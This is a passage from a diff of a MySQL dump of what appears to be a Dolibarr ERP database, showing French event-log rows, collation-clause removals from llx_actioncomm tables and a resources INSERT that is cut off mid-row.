21:12:41',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Proposition PR2001-0034 validée',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(777,'777',NULL,1,'2023-03-01 19:02:40','2023-03-01 19:02:40',40,'AC_COMPANY_MODIFY','Tiers Indian SAS modifié','2023-03-01 19:02:40','2023-03-01 22:02:40',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Tiers Indian SAS modifié',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(778,'778',NULL,1,'2023-03-01 19:29:14','2023-03-01 19:29:14',40,'AC_PROPAL_CLOSE_SIGNED','Proposition PR2001-0034 signée','2023-03-01 19:29:14','2023-03-01 22:29:14',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Proposition PR2001-0034 signée',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(779,'779',NULL,1,'2023-03-01 19:37:33','2023-03-01 19:37:33',40,'AC_ORDER_VALIDATE','Commande CO2201-0028 validée','2023-03-01 19:37:33','2023-03-01 22:37:33',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Commande CO2201-0028 validée',98,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(782,'782',NULL,1,'2023-03-01 19:50:08','2023-03-01 19:50:08',40,'AC_PROPAL_CLOSE_SIGNED','Proposition PR2001-0034 signée','2023-03-01 19:50:08','2023-03-01 22:50:08',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Proposition PR2001-0034 signée',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(783,'783',NULL,1,'2023-03-01 19:50:24','2023-03-01 19:50:24',40,'AC_PROPAL_CLOSE_SIGNED','Proposition PR2001-0034 signée','2023-03-01 19:50:24','2023-03-01 22:50:24',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Proposition PR2001-0034 signée',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(784,'784',NULL,1,'2023-03-02 13:16:15','2023-03-02 13:16:15',40,'AC_BILL_VALIDATE','Facture FA2303-0032 validée','2023-03-02 13:16:15','2023-03-02 16:16:15',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Facture FA2303-0032 validée',237,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(785,'785',NULL,1,'2023-03-02 13:16:15','2023-03-02 13:16:15',40,'AC_BILL_MODIFY','Enregistrement FA2303-0032 modifié','2023-03-02 13:16:15','2023-03-02 16:16:15',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement FA2303-0032 modifié',237,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(786,'786',NULL,1,'2023-03-02 13:21:13','2023-03-02 13:21:13',40,'AC_BILL_VALIDATE','Facture FA2303-0033 validée','2023-03-02 13:21:13','2023-03-02 16:21:13',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Facture FA2303-0033 validée',238,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(787,'787',NULL,1,'2023-03-02 13:21:13','2023-03-02 13:21:13',40,'AC_BILL_MODIFY','Enregistrement FA2303-0033 modifié','2023-03-02 13:21:13','2023-03-02 16:21:13',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement FA2303-0033 modifié',238,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(788,'788',NULL,1,'2023-03-07 22:23:35','2023-03-07 22:23:35',40,'AC_ORDER_SUPPLIER_MODIFY','Enregistrement CF1303-0004 modifié','2023-03-07 22:23:35','2023-03-08 01:23:35',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement CF1303-0004 modifié',13,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(789,'789',NULL,1,'2023-03-07 22:24:28','2023-03-07 22:24:28',40,'AC_ORDER_SUPPLIER_MODIFY','Enregistrement CF1303-0004 modifié','2023-03-07 22:24:28','2023-03-08 01:24:28',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement CF1303-0004 modifié',13,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(790,'790',NULL,1,'2023-03-07 22:24:35','2023-03-07 22:24:35',40,'AC_ORDER_SUPPLIER_MODIFY','Enregistrement CF1303-0004 modifié','2023-03-07 22:24:35','2023-03-08 01:24:35',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement CF1303-0004 modifié',13,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(791,'791',NULL,1,'2023-03-13 06:17:35','2023-03-13 06:17:35',40,'AC_TICKET_CLOSE','Ticket TS1911-0005 fermé','2023-03-13 06:17:35','2023-03-13 09:17:35',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Ticket TS1911-0005 fermé',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(792,'792',NULL,1,'2023-03-13 08:03:08','2023-03-13 08:03:08',40,'AC_USER_MODIFY','Enregistrement 29 modifié','2023-03-13 08:03:08','2023-03-13 11:03:08',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement 29 modifié',29,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(793,'793',NULL,1,'2023-03-13 08:23:30','2023-03-13 08:23:30',40,'AC_USER_MODIFY','Enregistrement 1 modifié','2023-03-13 08:23:30','2023-03-13 11:23:30',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement 1 modifié',1,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(794,'794',NULL,1,'2023-03-13 08:45:21','2023-03-13 08:45:21',40,'AC_USER_MODIFY','Enregistrement 1 modifié','2023-03-13 08:45:21','2023-03-13 11:45:21',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement 1 modifié',1,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(795,'795',NULL,1,'2023-03-13 08:45:30','2023-03-13 08:45:30',40,'AC_USER_MODIFY','Enregistrement 1 modifié','2023-03-13 08:45:30','2023-03-13 11:45:30',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement 1 modifié',1,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL); /*!40000 ALTER TABLE `llx_actioncomm` ENABLE KEYS */; UNLOCK TABLES; @@ -383,7 +385,7 @@ CREATE TABLE `llx_actioncomm_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_actioncomm_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -408,15 +410,15 @@ DROP TABLE IF EXISTS `llx_actioncomm_reminder`; CREATE TABLE `llx_actioncomm_reminder` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `dateremind` datetime NOT NULL, - `typeremind` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `typeremind` varchar(32) NOT NULL, `fk_user` int(11) NOT NULL, `offsetvalue` int(11) NOT NULL, - `offsetunit` varchar(1) COLLATE utf8mb3_unicode_ci NOT NULL, + `offsetunit` varchar(1) NOT NULL, `status` int(11) NOT NULL DEFAULT 0, `entity` int(11) NOT NULL DEFAULT 1, `fk_actioncomm` int(11) NOT NULL, `fk_email_template` int(11) DEFAULT NULL, - `lasterror` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lasterror` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_actioncomm_reminder_unique` (`fk_user`,`typeremind`,`offsetvalue`,`offsetunit`,`fk_actioncomm`), KEY `idx_actioncomm_reminder_rowid` (`rowid`), @@ -445,15 +447,15 @@ DROP TABLE IF EXISTS `llx_actioncomm_resources`; CREATE TABLE `llx_actioncomm_resources` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_actioncomm` int(11) NOT NULL, - `element_type` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, + `element_type` varchar(50) NOT NULL, `fk_element` int(11) NOT NULL, - `answer_status` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `answer_status` varchar(50) DEFAULT NULL, `mandatory` smallint(6) DEFAULT NULL, `transparency` smallint(6) DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_actioncomm_resources` (`fk_actioncomm`,`element_type`,`fk_element`), KEY `idx_actioncomm_resources_fk_element` (`fk_element`) -) ENGINE=InnoDB AUTO_INCREMENT=488 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=678 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -462,7 +464,7 @@ CREATE TABLE `llx_actioncomm_resources` ( LOCK TABLES `llx_actioncomm_resources` WRITE; /*!40000 ALTER TABLE `llx_actioncomm_resources` DISABLE KEYS */; -INSERT INTO `llx_actioncomm_resources` VALUES (1,1,'user',1,NULL,NULL,1),(2,2,'user',1,NULL,NULL,1),(3,3,'user',1,NULL,NULL,1),(4,4,'user',1,NULL,NULL,1),(5,5,'user',1,NULL,NULL,1),(6,6,'user',1,NULL,NULL,1),(7,7,'user',1,NULL,NULL,1),(8,8,'user',1,NULL,NULL,1),(9,9,'user',1,NULL,NULL,1),(10,10,'user',1,NULL,NULL,1),(11,11,'user',1,NULL,NULL,1),(12,12,'user',1,NULL,NULL,1),(13,13,'user',1,NULL,NULL,1),(14,14,'user',1,NULL,NULL,1),(15,15,'user',1,NULL,NULL,1),(16,16,'user',1,NULL,NULL,1),(17,17,'user',1,NULL,NULL,1),(18,18,'user',1,NULL,NULL,1),(19,19,'user',1,NULL,NULL,1),(20,20,'user',1,NULL,NULL,1),(21,21,'user',1,NULL,NULL,1),(22,22,'user',1,NULL,NULL,1),(23,23,'user',1,NULL,NULL,1),(24,24,'user',1,NULL,NULL,1),(25,25,'user',1,NULL,NULL,1),(26,26,'user',1,NULL,NULL,1),(27,27,'user',1,NULL,NULL,1),(28,28,'user',1,NULL,NULL,1),(29,29,'user',1,NULL,NULL,1),(30,30,'user',1,NULL,NULL,1),(31,31,'user',1,NULL,NULL,1),(32,38,'user',1,NULL,NULL,1),(33,40,'user',1,NULL,NULL,1),(34,41,'user',1,NULL,NULL,1),(35,42,'user',1,NULL,NULL,1),(36,43,'user',1,NULL,NULL,1),(37,44,'user',1,NULL,NULL,1),(38,45,'user',1,NULL,NULL,1),(39,46,'user',1,NULL,NULL,1),(40,47,'user',1,NULL,NULL,1),(41,48,'user',1,NULL,NULL,1),(42,49,'user',1,NULL,NULL,1),(43,50,'user',1,NULL,NULL,1),(44,51,'user',1,NULL,NULL,1),(45,52,'user',1,NULL,NULL,1),(46,53,'user',1,NULL,NULL,1),(47,54,'user',1,NULL,NULL,1),(48,55,'user',1,NULL,NULL,1),(49,56,'user',1,NULL,NULL,1),(50,121,'user',3,NULL,NULL,1),(51,122,'user',1,NULL,NULL,1),(52,123,'user',1,NULL,NULL,1),(53,124,'user',1,NULL,NULL,1),(54,125,'user',1,NULL,NULL,1),(55,127,'user',1,NULL,NULL,1),(56,128,'user',1,NULL,NULL,1),(57,129,'user',1,NULL,NULL,1),(58,130,'user',1,NULL,NULL,1),(59,131,'user',1,NULL,NULL,1),(60,132,'user',1,NULL,NULL,1),(61,133,'user',1,NULL,NULL,1),(62,134,'user',1,NULL,NULL,1),(63,135,'user',1,NULL,NULL,1),(64,136,'user',1,NULL,NULL,1),(65,137,'user',1,NULL,NULL,1),(66,138,'user',1,NULL,NULL,1),(67,139,'user',1,NULL,NULL,1),(68,140,'user',1,NULL,NULL,1),(69,141,'user',1,NULL,NULL,1),(70,142,'user',1,NULL,NULL,1),(71,143,'user',1,NULL,NULL,1),(72,144,'user',1,NULL,NULL,1),(73,145,'user',1,NULL,NULL,1),(74,146,'user',1,NULL,NULL,1),(75,147,'user',1,NULL,NULL,1),(76,148,'user',1,NULL,NULL,1),(77,149,'user',1,NULL,NULL,1),(78,150,'user',1,NULL,NULL,1),(79,151,'user',1,NULL,NULL,1),(80,152,'user',1,NULL,NULL,1),(81,203,'user',1,NULL,NULL,1),(82,204,'user',1,NULL,NULL,1),(83,205,'user',1,NULL,NULL,1),(84,206,'user',1,NULL,NULL,1),(85,207,'user',1,NULL,NULL,1),(86,208,'user',1,NULL,NULL,1),(87,209,'user',1,NULL,NULL,1),(88,210,'user',1,NULL,NULL,1),(89,211,'user',1,NULL,NULL,1),(90,212,'user',1,NULL,NULL,1),(91,213,'user',1,NULL,NULL,1),(92,214,'user',1,NULL,NULL,1),(93,215,'user',1,NULL,NULL,1),(94,216,'user',1,NULL,NULL,1),(95,217,'user',1,NULL,NULL,1),(96,218,'user',1,NULL,NULL,1),(97,219,'user',1,NULL,NULL,1),(98,220,'user',1,NULL,NULL,1),(99,221,'user',1,NULL,NULL,1),(100,222,'user',1,NULL,NULL,1),(101,223,'user',1,NULL,NULL,1),(102,224,'user',1,NULL,NULL,1),(103,225,'user',1,NULL,NULL,1),(104,226,'user',1,NULL,NULL,1),(105,227,'user',1,NULL,NULL,1),(106,228,'user',1,NULL,NULL,1),(107,229,'user',1,NULL,NULL,1),(108,230,'user',1,NULL,NULL,1),(109,231,'user',1,NULL,NULL,1),(110,232,'user',12,'0',0,0),(111,233,'user',12,'0',0,0),(112,234,'user',12,'0',0,1),(113,235,'user',12,'0',0,1),(114,236,'user',4,'0',0,0),(115,237,'user',13,'0',0,0),(116,237,'user',16,'0',0,0),(117,237,'user',18,'0',0,0),(118,238,'user',12,'0',0,1),(119,238,'user',3,'0',0,1),(120,238,'user',10,'0',0,1),(121,239,'user',12,'0',0,0),(123,240,'user',12,'0',0,1),(125,242,'user',12,'0',0,0),(126,243,'user',12,'0',0,0),(128,245,'user',12,'0',0,0),(132,249,'user',12,'0',0,0),(133,250,'user',12,'0',0,0),(134,251,'user',12,'0',0,0),(135,252,'user',12,'0',0,0),(136,253,'user',12,'0',0,0),(137,254,'user',12,'0',0,0),(138,255,'user',12,'0',0,0),(139,256,'user',12,'0',0,0),(140,257,'user',12,'0',0,0),(146,263,'user',12,'0',0,0),(147,264,'user',12,'0',0,0),(148,265,'user',12,'0',0,0),(149,266,'user',12,'0',0,0),(150,267,'user',12,'0',0,0),(151,268,'user',12,'0',0,0),(152,269,'user',12,'0',0,0),(153,270,'user',12,'0',0,0),(154,271,'user',12,'0',0,0),(155,272,'user',12,'0',0,0),(156,273,'user',12,'0',0,0),(157,274,'user',12,'0',0,0),(158,275,'user',12,'0',0,0),(160,277,'user',12,'0',0,0),(161,278,'user',12,'0',0,0),(162,279,'user',12,'0',0,0),(164,281,'user',12,'0',0,0),(165,282,'user',12,'0',0,0),(166,283,'user',12,'0',0,0),(167,284,'user',12,'0',0,0),(168,285,'user',12,'0',0,0),(169,286,'user',12,'0',0,0),(170,287,'user',12,'0',0,0),(171,288,'user',12,'0',0,0),(177,294,'user',12,'0',0,0),(178,295,'user',12,'0',0,0),(179,296,'user',12,'0',0,0),(180,297,'user',12,'0',0,0),(181,298,'user',1,'0',0,0),(182,299,'user',2,'0',0,0),(183,300,'user',1,'0',0,0),(184,301,'user',2,'0',0,0),(185,302,'user',2,'0',0,0),(186,303,'user',2,'0',0,0),(187,304,'user',1,'0',0,0),(188,305,'user',2,'0',0,0),(189,306,'user',2,'0',0,0),(190,307,'user',1,'0',0,0),(191,308,'user',1,'0',0,0),(192,309,'user',1,'0',0,0),(193,310,'user',2,'0',0,0),(194,311,'user',2,'0',0,0),(195,312,'user',1,'0',0,0),(196,313,'user',2,'0',0,0),(197,314,'user',1,'0',0,0),(198,315,'user',2,'0',0,0),(199,316,'user',2,'0',0,0),(200,317,'user',2,'0',0,0),(201,318,'user',1,'0',0,0),(202,319,'user',2,'0',0,0),(203,320,'user',12,'0',0,0),(204,321,'user',12,'0',0,0),(205,322,'user',12,'0',0,0),(206,323,'user',12,'0',0,0),(207,324,'user',12,'0',0,0),(208,325,'user',12,'0',0,0),(209,326,'user',12,'0',0,0),(210,327,'user',12,'0',0,0),(211,328,'user',12,'0',0,0),(212,24,'socpeople',2,NULL,NULL,1),(213,235,'socpeople',2,NULL,NULL,1),(214,238,'socpeople',10,NULL,NULL,1),(215,327,'socpeople',12,NULL,NULL,1),(216,329,'user',12,'0',0,0),(217,330,'user',12,'0',0,0),(218,331,'user',12,'0',0,0),(220,333,'user',12,'0',0,0),(222,335,'user',12,'0',0,0),(224,337,'user',12,'0',0,0),(225,338,'user',12,'0',0,0),(226,339,'user',12,'0',0,0),(227,340,'user',12,'0',0,0),(228,341,'user',12,'0',0,0),(229,342,'user',12,'0',0,0),(230,343,'user',12,'0',0,0),(231,344,'user',12,'0',0,0),(232,345,'user',12,'0',0,0),(233,346,'user',12,'0',0,0),(234,347,'user',12,'0',0,0),(235,348,'user',12,'0',0,0),(236,349,'user',12,'0',0,0),(237,350,'user',12,'0',0,0),(238,351,'user',12,'0',0,0),(239,352,'user',12,'0',0,0),(240,353,'user',12,'0',0,0),(241,354,'user',12,'0',0,0),(242,355,'user',12,'0',0,0),(243,356,'user',12,'0',0,0),(244,357,'user',12,'0',0,0),(245,358,'user',12,'0',0,0),(246,359,'user',12,'0',0,0),(247,360,'user',12,'0',0,0),(248,361,'user',12,'0',0,0),(249,362,'user',12,'0',0,0),(250,363,'user',12,'0',0,0),(251,364,'user',12,'0',0,0),(252,365,'user',12,'0',0,0),(253,366,'user',12,'0',0,0),(254,367,'user',12,'0',0,0),(255,368,'user',12,'0',0,0),(256,369,'user',12,'0',0,0),(257,370,'user',12,'0',0,0),(258,371,'user',12,'0',0,0),(259,372,'user',12,'0',0,0),(260,373,'user',12,'0',0,0),(261,374,'user',12,'0',0,0),(262,375,'user',12,'0',0,0),(263,376,'user',12,'0',0,0),(264,377,'user',12,'0',0,0),(265,378,'user',12,'0',0,0),(266,379,'user',12,'0',0,0),(267,380,'user',12,'0',0,0),(268,381,'user',12,'0',0,0),(269,382,'user',12,'0',0,0),(270,383,'user',0,'0',0,0),(271,384,'user',12,'0',0,0),(272,385,'user',12,'0',0,0),(273,386,'user',12,'0',0,0),(274,387,'user',12,'0',0,0),(275,388,'user',12,'0',0,0),(276,389,'user',12,'0',0,0),(277,390,'user',12,'0',0,0),(278,391,'user',12,'0',0,0),(279,392,'user',12,'0',0,0),(280,393,'user',12,'0',0,0),(281,394,'user',12,'0',0,0),(282,395,'user',12,'0',0,0),(283,396,'user',12,'0',0,0),(284,397,'user',12,'0',0,0),(285,398,'user',12,'0',0,0),(286,399,'user',12,'0',0,0),(287,400,'user',12,'0',0,0),(288,401,'user',12,'0',0,0),(289,402,'user',12,'0',0,0),(290,403,'user',12,'0',0,0),(291,404,'user',12,'0',0,0),(292,405,'user',12,'0',0,0),(293,406,'user',12,'0',0,0),(294,407,'user',12,'0',0,0),(295,408,'user',12,'0',0,0),(296,409,'user',12,'0',0,0),(297,410,'user',12,'0',0,0),(298,411,'user',12,'0',0,0),(299,412,'user',12,'0',0,0),(300,413,'user',12,'0',0,0),(301,414,'user',12,'0',0,0),(302,415,'user',12,'0',0,0),(303,416,'user',12,'0',0,0),(304,417,'user',12,'0',0,0),(305,418,'user',12,'0',0,0),(306,419,'user',0,'0',0,0),(307,420,'user',12,'0',0,0),(308,421,'user',12,'0',0,0),(309,422,'user',12,'0',0,0),(310,423,'user',0,'0',0,0),(311,424,'user',12,'0',0,0),(312,425,'user',12,'0',0,0),(313,426,'user',12,'0',0,0),(314,427,'user',12,'0',0,0),(315,428,'user',12,'0',0,0),(316,429,'user',12,'0',0,0),(317,430,'user',12,'0',0,0),(318,431,'user',12,'0',0,0),(319,432,'user',12,'0',0,0),(320,433,'user',12,'0',0,0),(321,434,'user',12,'0',0,0),(322,435,'user',12,'0',0,0),(323,436,'user',12,'0',0,0),(324,437,'user',12,'0',0,0),(325,438,'user',12,'0',0,0),(326,439,'user',12,'0',0,0),(327,440,'user',12,'0',0,0),(328,441,'user',12,'0',0,0),(329,442,'user',12,'0',0,0),(330,443,'user',12,'0',0,0),(331,444,'user',12,'0',0,0),(332,445,'user',12,'0',0,0),(333,446,'user',12,'0',0,0),(334,447,'user',12,'0',0,0),(335,448,'user',12,'0',0,0),(336,449,'user',12,'0',0,0),(337,450,'user',12,'0',0,0),(338,451,'user',12,'0',0,0),(339,452,'user',12,'0',0,0),(340,453,'user',12,'0',0,0),(341,454,'user',12,'0',0,0),(342,455,'user',12,'0',0,0),(343,456,'user',12,'0',0,0),(344,457,'user',12,'0',0,0),(345,458,'user',12,'0',0,0),(346,459,'user',12,'0',0,0),(347,460,'user',12,'0',0,0),(348,461,'user',12,'0',0,0),(349,462,'user',12,'0',0,1),(350,463,'user',12,'0',0,1),(351,463,'user',4,'0',0,1),(352,463,'user',13,'0',0,1),(353,463,'user',2,'0',0,1),(354,464,'user',12,'0',0,0),(355,465,'user',12,'0',0,0),(356,466,'user',12,'0',0,1),(357,467,'user',0,'0',0,0),(358,468,'user',0,'0',0,0),(359,469,'user',0,'0',0,0),(360,470,'user',0,'0',0,0),(361,471,'user',0,'0',0,0),(362,483,'user',12,'0',0,0),(363,484,'user',12,'0',0,0),(364,485,'user',12,'0',0,0),(365,486,'user',12,'0',0,0),(366,487,'user',12,'0',0,0),(367,488,'user',12,'0',0,0),(368,489,'user',12,'0',0,0),(369,490,'user',12,'0',0,0),(370,491,'user',12,'0',0,0),(371,492,'user',12,'0',0,0),(372,493,'user',12,'0',0,0),(373,494,'user',12,'0',0,0),(374,495,'user',12,'0',0,0),(375,496,'user',12,'0',0,0),(376,497,'user',12,'0',0,0),(377,498,'user',12,'0',0,0),(378,499,'user',12,'0',0,0),(379,500,'user',12,'0',0,0),(380,501,'user',12,'0',0,0),(381,502,'user',12,'0',0,0),(382,503,'user',12,'0',0,0),(383,504,'user',12,'0',0,0),(384,505,'user',12,'0',0,0),(385,506,'user',12,'0',0,0),(386,507,'user',12,'0',0,0),(387,508,'user',12,'0',0,0),(388,509,'user',12,'0',0,0),(390,511,'user',12,'0',0,0),(391,512,'user',12,'0',0,0),(392,513,'user',12,'0',0,0),(393,514,'user',12,'0',0,0),(394,515,'user',12,'0',0,0),(395,516,'user',12,'0',0,0),(396,517,'user',12,'0',0,0),(397,518,'user',12,'0',0,0),(398,519,'user',12,'0',0,0),(399,520,'user',12,'0',0,0),(400,521,'user',12,'0',0,0),(401,522,'user',12,'0',0,0),(402,523,'user',12,'0',0,0),(403,524,'user',12,'0',0,0),(404,525,'user',12,'0',0,0),(405,526,'user',12,'0',0,0),(406,527,'user',12,'0',0,0),(407,528,'user',12,'0',0,0),(408,529,'user',12,'0',0,0),(409,530,'user',12,'0',0,0),(410,531,'user',12,'0',0,0),(411,532,'user',12,'0',0,0),(412,533,'user',12,'0',0,0),(413,534,'user',12,'0',0,0),(414,535,'user',12,'0',0,0),(415,536,'user',12,'0',0,0),(416,537,'user',12,'0',0,0),(417,538,'user',12,'0',0,0),(418,539,'user',12,'0',0,0),(419,540,'user',12,'0',0,0),(420,541,'user',12,'0',0,0),(421,542,'user',12,'0',0,0),(422,543,'user',12,'0',0,0),(423,544,'user',12,'0',0,0),(424,545,'user',12,'0',0,0),(425,546,'user',12,'0',0,0),(426,547,'user',12,'0',0,0),(427,548,'user',12,'0',0,0),(428,549,'user',12,'0',0,0),(429,550,'user',12,'0',0,0),(430,551,'user',12,'0',0,0),(431,552,'user',12,'0',0,0),(432,553,'user',12,'0',0,0),(433,554,'user',12,'0',0,0),(434,555,'user',12,'0',0,0),(435,556,'user',12,'0',0,0),(436,557,'user',12,'0',0,0),(437,558,'user',12,'0',0,0),(438,559,'user',12,'0',0,0),(439,560,'user',12,'0',0,0),(440,561,'user',12,'0',0,0),(441,562,'user',12,'0',0,0),(442,563,'user',12,'0',0,0),(443,564,'user',12,'0',0,0),(444,565,'user',12,'0',0,0),(445,566,'user',12,'0',0,0),(446,567,'user',12,'0',0,0),(447,568,'user',12,'0',0,0),(448,569,'user',12,'0',0,0),(449,570,'user',12,'0',0,0),(450,571,'user',12,'0',0,0),(451,572,'user',12,'0',0,0),(452,573,'user',12,'0',0,0),(453,574,'user',12,'0',0,0),(454,575,'user',12,'0',0,0),(455,576,'user',12,'0',0,0),(456,577,'user',12,'0',0,0),(457,578,'user',12,'0',0,0),(458,579,'user',12,'0',0,0),(459,580,'user',12,'0',0,0),(460,581,'user',12,'0',0,0),(461,582,'user',12,'0',0,0),(462,583,'user',12,'0',0,0),(463,584,'user',12,'0',0,0),(464,585,'user',12,'0',0,0),(465,586,'user',12,'0',0,0),(467,588,'user',12,'0',0,0),(468,589,'user',12,'0',0,0),(469,590,'user',12,'0',0,0),(470,591,'user',12,'0',0,0),(471,592,'user',12,'0',0,0),(472,593,'user',12,'0',0,0),(473,594,'user',12,'0',0,0),(474,595,'user',12,'0',0,0),(475,596,'user',12,'0',0,0),(476,597,'user',12,'0',0,0),(477,598,'user',12,'0',0,0),(478,599,'user',12,'0',0,0),(479,600,'user',12,'0',0,0),(480,601,'user',12,'0',0,0),(481,602,'user',12,'0',0,0),(482,603,'user',12,'0',0,1),(484,604,'user',12,'0',0,1),(485,605,'user',12,'0',0,1),(486,606,'user',12,'0',0,0),(487,607,'user',12,'0',0,0); +INSERT INTO `llx_actioncomm_resources` VALUES (1,1,'user',1,NULL,NULL,1),(2,2,'user',1,NULL,NULL,1),(3,3,'user',1,NULL,NULL,1),(4,4,'user',1,NULL,NULL,1),(5,5,'user',1,NULL,NULL,1),(6,6,'user',1,NULL,NULL,1),(7,7,'user',1,NULL,NULL,1),(8,8,'user',1,NULL,NULL,1),(9,9,'user',1,NULL,NULL,1),(10,10,'user',1,NULL,NULL,1),(11,11,'user',1,NULL,NULL,1),(12,12,'user',1,NULL,NULL,1),(13,13,'user',1,NULL,NULL,1),(14,14,'user',1,NULL,NULL,1),(15,15,'user',1,NULL,NULL,1),(16,16,'user',1,NULL,NULL,1),(17,17,'user',1,NULL,NULL,1),(18,18,'user',1,NULL,NULL,1),(19,19,'user',1,NULL,NULL,1),(20,20,'user',1,NULL,NULL,1),(21,21,'user',1,NULL,NULL,1),(22,22,'user',1,NULL,NULL,1),(23,23,'user',1,NULL,NULL,1),(24,24,'user',1,NULL,NULL,1),(25,25,'user',1,NULL,NULL,1),(26,26,'user',1,NULL,NULL,1),(27,27,'user',1,NULL,NULL,1),(28,28,'user',1,NULL,NULL,1),(29,29,'user',1,NULL,NULL,1),(30,30,'user',1,NULL,NULL,1),(31,31,'user',1,NULL,NULL,1),(32,38,'user',1,NULL,NULL,1),(33,40,'user',1,NULL,NULL,1),(34,41,'user',1,NULL,NULL,1),(35,42,'user',1,NULL,NULL,1),(36,43,'user',1,NULL,NULL,1),(37,44,'user',1,NULL,NULL,1),(38,45,'user',1,NULL,NULL,1),(39,46,'user',1,NULL,NULL,1),(40,47,'user',1,NULL,NULL,1),(41,48,'user',1,NULL,NULL,1),(42,49,'user',1,NULL,NULL,1),(43,50,'user',1,NULL,NULL,1),(44,51,'user',1,NULL,NULL,1),(45,52,'user',1,NULL,NULL,1),(46,53,'user',1,NULL,NULL,1),(47,54,'user',1,NULL,NULL,1),(48,55,'user',1,NULL,NULL,1),(49,56,'user',1,NULL,NULL,1),(50,121,'user',3,NULL,NULL,1),(51,122,'user',1,NULL,NULL,1),(52,12